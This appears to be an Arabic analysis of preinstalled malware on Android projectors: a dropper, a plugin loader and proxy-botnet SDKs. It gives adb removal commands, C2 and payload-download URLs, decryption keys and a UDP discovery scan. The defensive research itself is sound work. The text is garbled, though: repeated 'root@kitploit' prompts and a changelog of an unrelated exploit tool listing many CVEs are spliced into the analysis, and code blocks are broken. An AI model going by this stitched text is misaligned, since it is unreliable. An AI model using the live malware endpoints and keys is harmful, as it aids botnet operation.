  1. شهادة توقيع الإعدادات نفسها، والتي تتطلب تطابقًا مع أحد خمسة قيم SHA1 مضمّنة (CD:B1:B7:56:85:FE:16:C2:7E:4C:45:59:54:43:AC:B0:1F:68:40:91، 60:35:FD:9E:68:E9:20:C2:B5:B0:7C:F2:B5:10:F2:83:47:06:DE:15، 6E:40:BA:7F:F7:90:7D:40:C2:F1:6D:12:E4:63:E5:E4:A3:F1:5A:01، 27:19:6E:38:6B:87:5E:76:AD:F7:00:E7:EA:84:E4:C6:EE:E3:3D:FA، F6:08:8C:ED:B9:9A:EC:82:A7:7D:F3:F9:01:97:06:BE:C0:65:E4:9A)
  2. التحقق مما إذا كان com.android.umanalytics.yiyou، (أو com.android.umanalytics.kege، على الأرجح اسم الـ dropper في إصدارات firmware أخرى)، مسجّلًا للمستخدم 0.

كلا مساري الفشل يسجّلان 签名校验失败,关闭应用 ("فشل التحقق من التوقيع، إغلاق التطبيق"). إلغاء تثبيت yiyou بالكامل (بدلًا من مجرد تعطيله، كما هو موضح أعلاه) يؤدي إلى تفعيل هذا. adb shell pm install-existing com.android.umanalytics.yiyou يعيد التسجيل دون إعادة تفعيله.

8.3. التأكيد```

adb connect 10.56.215.10:5868

adb shell pm list packages | grep -iE 'yiyou|sysapp|adtest|speed|testapk' # expect: nothing adb shell ps -A | grep -iE 'yiyou|sysapp|speed|umanalytics' # expect: nothing adb shell 'ls /data/data/com.android.umanalytics.yiyou 2>&1' # expect: No such file adb shell "netstat -tnp | grep ESTABLISHED"

expect: only adbd to your computer (plus Google services, if allowed)

red flag: any process with several connections to public IPs

adb shell pm list packages -3 -i # new apps? check their installer

root@kitploit:~
**النتائج على هذه الوحدة بعد التنظيف وإعادة التشغيل:**```
adb shell "netstat -tnp"
# tcp   127.0.0.1:52992  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi  <- local screen-cast service
# tcp   127.0.0.1:52994  127.0.0.1:5354  ESTABLISHED 3351/com.android.toofifi
# tcp6  10.56.215.10:5868  <your computer>  ESTABLISHED 5332/adbd              <- your ADB session
#  -> no outbound connections left (before: ~25 from yiyou)

أعد فحص netstat بعد 24 ساعة (يتصل المحمّل كل 6 ساعات) وابحث عن إصابات قائمة الحظر من عنوان IP الخاص بالجهاز في سجلات DNS وجدار الحماية.

8.4. القيود

  • إعادة ضبط المصنع تُعيد yiyou و sysapp. أعد تشغيل القسم 8 قبل الوصول إلى الشبكة.
  • لا يُنصح بإعادة تركيب /system للقراءة والكتابة لحذف ملفات APK: vbmeta مقفل، و/system ممتلئ بنسبة 100%، لذا فإن adb disable-verity + adb remount سيُنشئ طبقة فوقية في /data (تُفقد عند إعادة ضبط المصنع، مثل pm uninstall --user 0) مع خطر فشل الإقلاع.
  • لذا فإن الإزالة الدائمة تعني حذف ملفات APK من super في نسختك المستخرجة وكتابتها عبر FEL. غير مُجرَّب.``` adb shell getprop ro.boot.vbmeta.device_state # locked adb shell getprop ro.boot.verifiedbootstate # (empty) adb shell df -h /system # 1.1G 1.1G 3.4M 100%
root@kitploit:~
### 8.5. البرامج غير الضرورية```
adb shell pm disable-user --user 0 com.android.toofifi
adb shell pm disable-user --user 0 com.toofifi.lineserver
adb shell pm disable-user --user 0 com.toofifi.miracast
adb shell pm disable-user --user 0 com.mphotool.usbcastserver
adb shell pm disable-user --user 0 com.rockchip.devicetest

التراجع باستخدام pm enable --user 0 <package>

  • com.android.toofifi: خدمة البث الأساسية للشاشة. ستفقد ميزة عكس الشاشة (بث بنمط Miracast/AirPlay) من الهواتف وأجهزة الحاسوب المحمول.
  • com.toofifi.lineserver: خادم عرض الشاشة السلكي/USB لنفس المنظومة، يتصل بـ server.mphotool.com:8680 للتحقق من الترخيص. ستفقد وضع العرض السلكي.
  • com.toofifi.miracast: مستقبل Miracast اللاسلكي، يستدعي server.mphotool.com:8680/MPAPI/System/CheckUpdate ويرفع سجلات الاستخدام إلى mphotool.com/FeituAppLogMgr. ستفقد البث اللاسلكي.
  • com.mphotool.usbcastserver: خادم البث عبر USB، من نفس المورّد. ستفقد دعم البث من الجهاز عبر USB.
  • com.rockchip.devicetest: لا يوجد سبب لوجوده على وحدة Allwinner.

9. خريطة المكوّنات الكاملة

تحليل ساكن. المصادر المفكوكة الخام، ووحدات .rf المفكوكة التشفير، والسكربتات المستخدمة محفوظة في analysis/ (decompiled/، decrypted_modules/، tools/).

9.1 محدّث OTA

com.android.sysapp

الفئات المفكوكة a.a.b.m/a.a.b.n تعطي طلب OTA الحرفي الدقيق:``` POST http://wjtysj.ishanghd.com/hx_kt.php?act=project&do=getPackageInfo &productid=<ro.android.productid, default "74865231"> &device_mode=<persist.sys.cm.dtsmodel, e.g. "AT-M269"> &devices_version=<ro.build.version.incremental> &update_type=1|2 # 1 auto check, 2 forced ("check for update" button)

root@kitploit:~
عبر Apache `HttpPost` مع جسم نموذج فارغ. كل شيء موجود في سلسلة الاستعلام، لذا فإن GET و POST متكافئان ولا توجد توقيع/رمز. أُعيد تشغيله مباشرةً (2026‑09‑26): `{"code":200,"data":[]}`، يبدو أنه لا توجد حزمة لهذا productid، في أي إصدار تم تجربته.

### 9.2 Dropper

`com.android.umanalytics.yiyou`

**التحديث الذاتي** (`http.utils.UpdateUtils.checkUpdate`)
`GET http://ty.ishanghd.com/work/app/wj/factory/update.json` يوفّر `DownLoadURL` مع `MD5` و `VersionCode` الذي يتم تنزيله، والتحقق من MD5، و `PkgUtils.install(path, 1)` واستبدال نفسه بصمت.

**جلب `plugin.jar`** (`MyService`)
`GET http://isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.json` يوفّر `plugin.jar` الذي يتم تنزيله إلى `<cache>/plugin.jar` وتحميله باستخدام `DexClassLoader`. `com.anlytics.plug.ParserUtils.AnalyticsHelper("test")` هو نقطة الدخول.

**ملف تعريف قائمة التطبيقات لكل جهاز**
هذه هي التطبيقات المخصصة لكل جهاز في الحملة (من المحتمل تعديلها للتحايل على DRM؟)

`com.anlytics.plug.b` يأخذ بصمة اللوحة (`ro.board.platform`، `persist.sys.cm.dtsmodel`، `ro.sys.cputype`، `ro.build.version.release`، الحزم المثبتة، ملفات مثل `/system/etc/voice.tar.gz`) مقابل 40 ملف تعريف مضمّن ويختار رابط `appsinfo/.../infos*.json` المناسب من الثوابت في `com.tools.a`.

هذه الوحدة تأتي مع `com.ashd.launcher10` وتُبلّغ عن `persist.sys.cm.dtsmodel=AT-M269` / اللوحة `ares` وملف تعريف H713 "launcher10" الوحيد في الجدول هو:```
http://ty.ishanghd.com/work/app/wj/appsinfo/H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json

ما الجديد في الإصدار 4.0.0

  • إضافة دعم لـ CVE-2025-53770 (SharePoint ToolShell) وCVE-2025-53771 (تجاوُز مسار SharePoint)
  • إضافة دعم لـ CVE-2025-6554 (V8 Type Confusion في Chrome)
  • إضافة دعم لـ CVE-2025-5777 (CitrixBleed 2)
  • إضافة دعم لـ CVE-2025-49144 (تصعيد الصلاحيات في Notepad++)
  • إضافة دعم لـ CVE-2025-31324 (تنفيذ تعليمات برمجية عن بُعد في SAP NetWeaver)
  • إضافة دعم لـ CVE-2025-24813 (تنفيذ تعليمات برمجية عن بُعد في Apache Tomcat)
  • إضافة دعم لـ CVE-2025-0994 (تنفيذ تعليمات برمجية عن بُعد في Trimble Cityworks)
  • إضافة دعم لـ CVE-2025-0282 (تنفيذ تعليمات برمجية عن بُعد في Ivanti Connect Secure)
  • إضافة دعم لـ CVE-2024-55591 (تجاوز المصادقة في Fortinet FortiOS)
  • إضافة دعم لـ CVE-2024-50623 (تنفيذ تعليمات برمجية عن بُعد في Cleo Harmony)
  • إضافة دعم لـ CVE-2024-38856 (تنفيذ تعليمات برمجية عن بُعد في Apache OFBiz)
  • إضافة دعم لـ CVE-2024-37085 (تجاوز المصادقة في VMware ESXi)
  • إضافة دعم لـ CVE-2024-3400 (حقن أوامر في Palo Alto GlobalProtect)
  • إضافة دعم لـ CVE-2024-27198 (تجاوز المصادقة في JetBrains TeamCity)
  • إضافة دعم لـ CVE-2024-21887 (حقن أوامر في Ivanti Connect Secure)
  • إضافة دعم لـ CVE-2023-48788 (حقن SQL في Fortinet FortiClientEMS)
  • إضافة دعم لـ CVE-2023-46604 (تنفيذ تعليمات برمجية عن بُعد في Apache ActiveMQ)
  • إضافة دعم لـ CVE-2023-44487 (هجوم HTTP/2 Rapid Reset)
  • إضافة دعم لـ CVE-2023-42793 (تجاوز المصادقة في JetBrains TeamCity)
  • إضافة دعم لـ CVE-2023-34362 (حقن SQL في MOVEit Transfer)
  • إضافة دعم لـ CVE-2023-22518 (تجاوز التفويض في Atlassian Confluence)
  • إضافة دعم لـ CVE-2023-22515 (إنشاء حساب غير مصرح به في Atlassian Confluence)
  • إضافة دعم لـ CVE-2023-20198 (تصعيد الصلاحيات في Cisco IOS XE)
  • إضافة دعم لـ CVE-2023-1389 (حقن أوامر في TP-Link Archer)
  • إضافة دعم لـ CVE-2022-47966 (تنفيذ تعليمات برمجية عن بُعد في Zoho ManageEngine)
  • إضافة دعم لـ CVE-2022-40684 (تجاوز المصادقة في Fortinet FortiOS)
  • إضافة دعم لـ CVE-2022-26134 (تنفيذ تعليمات برمجية عن بُعد في Atlassian Confluence)
root@kitploit:~
**القائمة الكاملة لـ 40 عنوان URL للملفات الشخصية**
كل واحد منها على الأرجح عائلة جهاز ضحية تحت الحملة نفسها:```
infos.json
TEST/infos.json
infos_qp.json
infos_lm.json
infos_wy.json
infos_wy_fj600.json
infos_set.json
infos_ydd3128.json
WANYING_test/infos.json
YBS_ASOS/infos.json
YDN2_YIUI_RX480P/infos.json
YINGKE_CC720P/infos_0208.json
YINGKE_CC720P/infos_ZG_0315.json
YINGKE_CC720P/infos_0313.json
YINGKE_CC720P/infos_0504.json
SAIER_RK3326_DV381_YIUI/infos.json
SAIER_RK3326_DV381_YIUI_C1PRO/infos.json
rk3326_ASHD/Q3/infos.json  H713/N1/infos.json
rk3326/HY300A/infos.json
rk3326/Saier_zhixiang_0326/infos.json  YKK_3326_YIUI/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_OLD/infos.json
rk3326_ASHD/RK3326_ASHD_X1_SUR269_AHW_DSN/infos.json
rk3326_ASHD/RK3326_HY300A_YM_SUR269_AHW/infos_dsn.json
rk3326/HY300A_GBPT_HP265013_AHW/infos_0611.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW/infos_dsn.json
rk3326_ASHD/RK3326_HY300A_GBPT_HP265013_AHW_OLDNFX/infos.json
rk3326_ASHD/BNX_TXD265_AHW_3+64_Lingbo/infos2.json
rk3326_ASHD/RK3326_GBPT_720P_CAOYING/infos.json
rk3326_ASHD/RK3326_GBPT_LAUNCHER10/infos.json
rk3326_ASHD/RK3326_HY300A_JUYING1_8_HP265013_AHW/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos.json
H713_ASHD/H713_HY300A_720P_YIRUO/infos_0304.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_1207.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_games_0221.json
H713_ASHD/H713M_HY300PRO_MAX_HP269006_BAT/infos_1220.json
H713_ASHD/H713M_HY300A_VIEW_0304/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_0318.json
H713_ASHD/H713_SKW/infos.json
H713_ASHD/H713_NEFHELP/infos.json
H713_ASHD/DSN/infos.json
rk3326_ASHD/DSN/infos.json
rk3326_ASHD/RK3326_AD/infos_ad_asos.json
H713_ASHD/H713_HY300_HIFI/infos.json
H713_ASHD/H713M_HY300_A/infos_F8.json
H713_ASHD/H713M_TENPLUS_0625/infos.json
H713_ASHD/H713_GBPT_HY300A_720P/infos_launcher10.json
Hisi352_ASHD/TS-6/infos_0730.json
H723_ASHD/H723_T1Pro/infos_0618.json

كل ملف infos*.json يسرد التطبيقات التي سيتم تثبيتها عبر pm install -r (الحمولة com.google.adtest + تطبيقات التغطية مثل Disney+) كما هو موضح في 3..

9.3 plugin.jar

تشفير مضيف C2 com.hs.p.basic.Hosts/EncryptUtils كل سلسلة مضيف مشفرة بـ AES/CFB/NoPadding (المفتاح MD5("ota.host.a46780a24111f056d95f955462606901")، IV "0102030405060708")، ثم مضغوطة بـ gzip، ثم base64:

  • API_MASTER_HOSTS: https://api.loritor.cc/
  • TRACKER_SLAVE_HOSTS: https://api.loritor.cc/
  • API_SLAVE_HOSTS: https://api.nizero.cc/
  • TRACKER_MASTER_HOSTS: https://api.nizero.cc/ (الأولوية مبادلة مقابل قناة API؟)

بدا أن كلاً من loritor.cc و nizero.cc معطلان في وقت هذا الاختبار.

مسارات API المهام/الإعدادات GetTaskApi، GetConfigApi POST <host>/0x01/ov/x1 (الإعدادات: نوافذ صامتة، تبديل السجل، دفع قائمة المضيفين، فترة الاستقصاء) و POST <host>/0x01/ov/x2 (قائمة المهام: jars[]/dexs[]/apks[] مقسمة بترقيم صفحات بمؤشر، كل منها يحتوي على file_url/file_md5/vercode/task_id). حقل "data" في جسم الاستجابة مشفر بنفس الطريقة، المفتاح "ota.api.d3b194c07b63d688969c258719ca3f0f".

تنسيق وحدة .rf فك تشفير جميع الوحدات الأربع التي أملكها بتوقيعات DSA صالحة: [4B version][4096B pad][32B salt][4B+N invocation AES-CFB][4B+N module AES-CFB][4B+N DSA sig].

مفتاح AES = MD5("968a84be78d3421d5e771147dce2b766" + salt)، نفس IV الثابت المذكور أعلاه.

مفتاح DSA العام مضمّن بشكل صلب (1024-bit، مدمج في DexManager/JarExe). النص العادي هو ZIP/APK، وليس dex خام.``` SKN0041: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0017","m_uninit":"stop"} SKN0054: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0028","m_uninit":"stop"} SKN0058: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0032","m_uninit":"stop"} SKN0061: {"cn":"com.hotota.p.d.MainApi","m_init":"start_W0035","m_uninit":"stop"}

root@kitploit:~
### 9.4 com.ad.proxy

`SKN0041`

يقوم المدخل `MainApi.start_W0017` بتشغيل العميل `Robin`. نقطتا نهاية HTTP(S) عاديتان، حيث يتم توفير `channel`/`version` من قبل من استدعى الوحدة:```
GET  https://api.kookjar.com/signin?uuid=<uuid>&channel=<channel>&version=<version>
# (debug build: http://152.32.240.141 same paths)
POST https://api.kookjar.com/report?uuid=<uuid>&channel=<channel>&version=<version>
     body: {"gateway_list":[{"host":..,"port":..,"status":..}, ...]}
     # reports back which proxy gateways it reached

9.5 com.szns.sdk

SKN0054

سلاسل النطاق/عنوان IP هنا مُشوَّشة: Base64→XOR(fixed key) > XOR(prev result) > MD5-derived XOR > Base64 > gzip في الفئة com.szns.sdk.t.

تمت إعادة إنتاج الخوارزمية الدقيقة (analysis/tools/decode_szns_t.py) وفك تشفير جميع نقاط النهاية الأربعة المُضمَّنة الصلبة للتمهيد:``` ac.a() -> https://hgsdkszns.com ac.b() -> http://dporder.midrouterx.com/api/dispatch (state 1: fetch "domain_info", cached 24h) ac.c() -> https://seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.ico (state 3: OSS bootstrap; body is a plain URL: "http://dporder.midrouterx.com/api/dispatchByOss") ac.d() -> 43.173.127.241:9090 (state 5: "ip_tcp_info" bootstrap)

root@kitploit:~
إذا لم يكن هناك عنوان URL لإرسال مخزّن مؤقتًا (الحالة 7):
مسح UDP للنطاق `43.153.12.1` - `43.153.80.100:8080`

إرسال الحمولة النصية ASCII الحرفية `"moon2"`، وانتظار أي رد يبدأ بـ `http`. يصبح هذا الرد هو عنوان URL للإرسال.

كل طلب bootstrap هو `POST <url>` مع حقول النموذج `{"operator":<c>,"c":"moon2","name":<d>}` في `com.szns.sdk.x`.

أي عنوان URL للإرسال يُحلّ يتم بعد ذلك إرسال نفس الحقول إليه عبر POST، ويعيد قائمة البوابة الحقيقية، مشفّرة بـ `AES/CBC/PKCS5` (المفتاح `"5360e2884c119aa32a767ceb1c0889b0"`، IV عشوائي، الغلاف `base64(iv):base64(ciphertext)`)

تنسيق JSON بعد فك التشفير: `{"data":{"schedule":N,"thread":N,"heartbeat":N,"st":N,"node":[{"connect":"host:port","proxy":"host:port"}, ...]}}`.

### 9.6. com.link.core

`SKN0058 `

بوابة واحدة مضمّنة بشكل ثابت، بدون طبقة اكتشاف: `com.link.core.a.g` → `["api.eviceh.cc:16000"]`. محلّلات DNS المستخدمة لعمليات البحث الخاصة بها: `8.8.8.8`، `9.9.9.9`، `1.1.1.1`، `1.0.0.1`. تقرأ `/proc/cpuinfo` و `/sys/class/net/{eth0,wlan0}/address` لبصمة الجهاز.

### 9.7. ddth2 (VpsSdk)

`SKN0061`

مجموعة بوابات مضمّنة بشكل ثابت، `ddth2.hidden.o`: النطاقات `dw4y.mmavlino.com`، `zx8c.llvyomi.net`، `zxn5.p2f7mjhv.eu.cc`، عناوين IP `45.43.57.99`، `165.154.135.52`.

بروتوكول TCP ثنائي مخصص دائم:

- connect
- مصافحة `REGISTER`/`REGISTER_ACK` (ترويسة إطار من 8 بايت، opcode+length)
- ثم تدفع البوابة أوامر الاتصال (`{host, port}`
- مُرشّحة ضد نطاقات private/loopback/multicast التي تولّد مآخذ وكيلة لكل جلسة، مما يفسّر "العديد من نسخ العميل المتوازية".

### 9.8. com.google.adtest

أو `com.fotas.wanapp ("com.speed")`

اسم الحزمة الداخلي الحقيقي هو `com.fotas.wanapp` (فئة App هي `com.fotas.wanapp.APP`). يُعِدّ `onCreate()` ثلاثة مضيفين بنفس نمط master/slave/random كما في `plugin.jar`:```
master -> https://api.pechlo.cc/
slave  -> https://api.logobi.cc/
random -> https://random.vivosoc.cc/

يتم تسجيل الجهاز عبر POST https://codedevapp.com/api/v1/device/dau.

يتم تشغيل خدمتين:

  • com.google.android.AdService
  • com.google.android.BakService

يقوم بفحص انعكاسي للبحث عن فئة com.fotas.wanapp.ChannelSdkInit الاختيارية وتهيئتها إن وُجدت. سلاسل معرّف التطبيق: "wanapp"، "WAN_AISHANG_001".

9.9. لقطة الحالة المباشرة (2026-09-26)

فحص إمكانية الوصول للقراءة فقط من مضيف مستقل (لم تُرسل أي بروتوكولات وكيل أو حِمولات، ولم يحدث أي تفاعل مع جهاز العرض نفسه):

10. عناوين URL

11. أخرى

خيارات المطوّر:

  1. Deviceversion.onKeyDown (شاشة "معلومات الجهاز" في الإعدادات) تراقب رمزاً بنمط Konami، أعلى أعلى أسفل أسفل يسار يسار يمين يمين وسط وسط، والذي يحاول فتح خيارات المطوّر. بالنسبة لي لم ينجح هذا.
  2. أعلى أسفل يسار يمين وسط يحاول تشغيل com.konka.readmain.MainActivity، وهو تطبيق اختبار مصنع OEM غير مرتبط وغير مثبّت فعلياً على هذه الوحدة. نفس الشيء، لم ينجح.``` adb shell am start -n com.ashd.settings/com.rk_itvui.settings.deviceversion.Deviceversion adb shell input keyevent 19 adb shell input keyevent 19 adb shell input keyevent 20 adb shell input keyevent 20 adb shell input keyevent 21 adb shell input keyevent 21 adb shell input keyevent 22 adb shell input keyevent 22 adb shell input keyevent 23 adb shell input keyevent 23
root@kitploit:~
تنزيل الأداة
المصطلحما الذي يفعلهLAN
NetworkInterface (adtest, plugin, SKN0061)يقرأ عنوان IP و MAC الخاص بالجهاز لمعرّف البوتلا
DatagramSocket في SKN0041مرحّل UDP لجلسات البروكسي إلى البوابةلا
DatagramSocket في SKN0054اكتشاف C2: يمسح 43.153.12-80.1-100:8080 (نطاق السحابة العامة)لا
ServerSocket في plugin.jarخادم إعادة بث الفيديو، انظر أدناهلا
عمليات Runtime.exec (yiyou, plugin.jar, adtest, SKN0041/54/58/61)مكونات SDK الداخلية لطرف ثالث، chmod 777 على الملفات المحلية، su/pm/dumpsys لفحوصات التطبيق في المقدمة أو صلاحيات الجذر، وأمر ping الصادر من المشغّل في SKN0041أمر ping فقط
UPnP، mDNS/NSD، SSDP، WiFi Direct، حسابات ARP/الشبكة الفرعية، ADB 5555، telnetلا شيءلا
systemmixservice / libsystemmixservice.so / libsystemmix_jni.soخدمة OEM عبر Binder فقط: قراءة/تعيين الخصائص، قراءة/كتابة/حذف الملفات الخام، mount/umount، شعار/رسوم الإقلاع. لا يوجد رمز socket/bind/connect/listen/accept في أي من الملفين التنفيذيينلا
qwخادم su الخاص بـ Superuser/ClockworkMod. توجد فقط مسارات مأخذ Unix domain في سلاسله النصية (/dev/com.koushikdutta.superuser[.daemon])، لا يوجد عنوان IP حرفي، ولا AF_INETلا
com.android.nfx (NFXAccessibility)مساعد التنقل بأزرار D-pad الخاص بـ Netflix، نشط فقط عندما يكون com.netflix.mediaclient في المقدمة. لا يحتوي المانيفست على إذن INTERNET إطلاقاًلا
// SKN0054 com/szns/sdk/t.java - refuses private and loopback targets, IPv4 dotted-decimal only
str.equals("0.0.0.0")str.matches("^10\..*")
  • إضافة دعم لـ CVE-2021-44228 (Log4Shell)
  • إضافة دعم لـ CVE-2021-34473 (تنفيذ تعليمات برمجية عن بُعد في Microsoft Exchange ProxyShell)
  • إضافة دعم لـ CVE-2021-26855 (تنفيذ تعليمات برمجية عن بُعد في Microsoft Exchange ProxyLogon)
  • إضافة دعم لـ CVE-2020-1472 (Zerologon)
  • إضافة دعم لـ CVE-2019-19781 (تنفيذ تعليمات برمجية عن بُعد في Citrix ADC)
  • إضافة دعم لـ CVE-2019-0708 (BlueKeep)
  • إضافة دعم لـ CVE-2017-0144 (EternalBlue)
  • إضافة دعم لـ CVE-2014-0160 (Heartbleed)```json date 20240819 description "1、优化网络访问\n2、增强系统稳定性。" appInfos 0 appVersionCode 425 appName "uninstall" appPkgName "com.netflix.ninja" appMd5 "3D3EC4CAA09F68170EB0ADC5A92AC018" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/rk3326/Netflix_425.apk" 1 appVersionCode 84 appName "launcher10" appPkgName "com.ashd.launcher10" appMd5 "3AA639AE6850189EB8EB4B288AFAD70A" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/Launcher10_HY300_1.84.apk" 2 appVersionCode 3 appName "platinum" appPkgName "com.allwinnertech.platinum.media" appMd5 "5DA2127B3D0E983D96C16F5960CFE5E0" appUrl "http://isdownload.ishanghd.com/work/app/wj/app/H713/PlatinumMediaDLNA.apk"
  • المضيفنتيجة DNS / الاتصالملاحظات
    api.loritor.cc, api.nizero.ccيُحلّ (Cloudflare)، HTTP 404 على /نشط؛ المسارات الحقيقية هي /0x01/ov/x1، /0x01/ov/x2
    api.kookjar.comيُحلّ (Cloudflare، 172.67.159.65)، HTTP 204نشط
    152.32.240.141 (مسار تصحيح SKN0041 الاحتياطي)مهلة TCP/80غير قابل للوصول؛ مسار تصحيح فقط على أي حال، الإنتاج يستخدم api.kookjar.com
    dporder.midrouterx.comيُحلّ مباشرة (43.174.196.241، Tencent Cloud)، HTTP 200 على /api/dispatchنشط
    seed-info.oss-ap-southeast-1.aliyuncs.comيُحلّ (47.79.49.170، Alibaba Cloud SG)، HTTP 200، يخدم favorite.icoنشط
    hgsdkszns.comيُحلّ (Cloudflare)DNS نشط؛ فحص HTTPS العادي أُعيد ضبطه (فرع غير مستخدم في البناء الحالي، انظر 10.5)
    43.173.127.241:9090اتصال TCP الخام ينجحنشط، يستمع الآن
    api.eviceh.cc:16000يُحلّ (152.53.83.204)DNS نشط، TCP/16000 مرفوض وقت الفحص (البوابة لا تستمع حالياً)
    dw4y.mmavlino.com / zx8c.llvyomi.net / zxn5.p2f7mjhv.eu.cc / 45.43.57.99 / 165.154.135.52لم يُعد فحصها في هذه الجولةانظر القسم 11
    api.pechlo.cc, api.logobi.ccيُحلّان (Cloudflare)، HTTP 404 على /نشط
    random.vivosoc.ccلا يوجد سجل DNSيبدو ميتاً/منتهي الصلاحية
    codedevapp.comيُحلّ (5.161.41.216، Hetzner)نشط؛ /api/v1/device/dau يقبل POST فقط لذا فإن طلب GET مجرد يُجهض
    المضيف / URLالمكوّنالدور
    ishanghd.com, ty.ishanghd.com, isdownload.ishanghd.com, wjtysj.ishanghd.comsysapp, yiyouنطاق الواجهة الخلفية الجذرية للـ OEM
    wjtysj.ishanghd.com/hx_kt.phpsysapp (AshdSysApp)C2 لمحدّث OTA (act=project&do=getPackageInfo)
    ty.ishanghd.com/work/app/wj/factory/update.jsonyiyouمؤشر التحديث الذاتي للـ dropper
    ty.ishanghd.com/work/app/wj/appsinfo/* (40 مساراً، انظر أعلاه)yiyouقوائم الحِمولات/التطبيقات لكل عائلة أجهزة (أهداف pm install -r)
    isdownload.ishanghd.com/work/app/wj/plugin/infos_9269.jsonyiyouمؤشر جلب plugin.jar
    isdownload.ishanghd.com/work/app/wj/plugin/plugin/2026082800/plugin.jaryiyouحِمولة plugin.jar الفعلية (مسار مُصدَّر بإصدار، يتغير بمرور الوقت)
    isdownload.ishanghd.com/work/app/wj/app/rk3326/L3.zipplugin.jarحزمة مفاتيح/ترخيص Widevine L3 DRM، تُسقط لتشغيل تطبيقات البث على الجهاز غير المعتمد
    api.loritor.cc, api.nizero.ccplugin.jar ("hs")واجهة المهام/الإعدادات (/0x01/ov/x1، /0x01/ov/x2)، كلاهما كقناة API (رئيسي/تابع) وقناة تتبع (تابع/رئيسي متبادلان)
    api.kookjar.com (+ 152.32.240.141 للتصحيح)SKN0041/signin، /report
    api.eviceh.cc:16000SKN0058البوابة الوحيدة
    hgsdkszns.comSKN0054مضيف bootstrap إضافي مُضمَّن (فرع غير مستخدم في البناء الحالي)
    dporder.midrouterx.com/api/dispatch (+ /api/dispatchByOss، يُوصل إليه عبر bootstrap الـ OSS أدناه)SKN0054bootstrap الإرسال الأساسي
    seed-info.oss-ap-southeast-1.aliyuncs.com/favorite.icoSKN0054مُعيد توجيه bootstrap المستضاف على OSS (Alibaba Cloud OSS)
    seed-1303252866.cos.na-siliconvalley.myqcloud.com/favorite.icoSKN0054نسخة احتياطية على Tencent COS لنفس إعدادات bootstrap
    43.173.127.241:9090SKN0054مضيف bootstrap لـ ip_tcp_info (المنفذ الدقيق مؤكد، نشط)
    43.135.136.224SKN0054بوابة الإرسال شوهدت نشطة (tcp/7788 /api/dispatch، tcp/9090)
    43.159.148.198SKN0054نقطة نهاية قائمة الخوادم/البوابة شوهدت نشطة، /dp/getServer (على الأرجح تُعاد ديناميكياً داخل قائمة node[] المشفرة)
    43.130.60.175SKN0054عقدة بوابة وكيل إضافية (tcp/9090)، شوهدت نشطة
    43.153.12.1–43.153.80.100:8080 (UDP)SKN0054مسح الاكتشاف؛ حِمولة الفحص هي ASCII الحرفية moon2
    dw4y.mmavlino.com, zx8c.llvyomi.net, zxn5.p2f7mjhv.eu.cc, 45.43.57.99, 165.154.135.52SKN0061مجموعة البوابات، بروتوكول وكيل TCP مخصص
    api.pechlo.cc, api.logobi.cc, random.vivosoc.cccom.speed / com.fotas.wanappC2 رئيسي/تابع/عشوائي
    codedevapp.com/api/v1/device/daucom.speed / com.fotas.wanappتسجيل الجهاز
    live.sz-cloudmedia.com:8080/ota/OTA قديم (نسخة sysapp أقدم/شقيقة)طريق مسدود، النطاق ليس له تسجيل ICP، Alibaba تحجبه.
    ulogs.umeng.com, ulogs.umengcloud.com, alogus.umeng.com, alogsus.umeng.com, ouplog.umeng.com, plbslog.umeng.comyiyou (Umeng SDK)قياسات تحليلات طرف ثالث، تحمل بصمات الجهاز (الرقم التسلسلي، عناوين MAC، SSID/BSSID) التي يجمعها تطبيق yiyou
    hmma.baidu.com, datax.baidu.com, dxp.baidu.com, openrcv.baidu.comyiyou (Baidu Mobile Stats SDK)نفس دور القياسات، عبر Baidu
    cmnsguider.yunos.com, ip.taobao.com, g3.le.comyiyouخدمات Alibaba/Yunos لرمز الجهاز والبحث عن IP العام المستخدمة للبصمات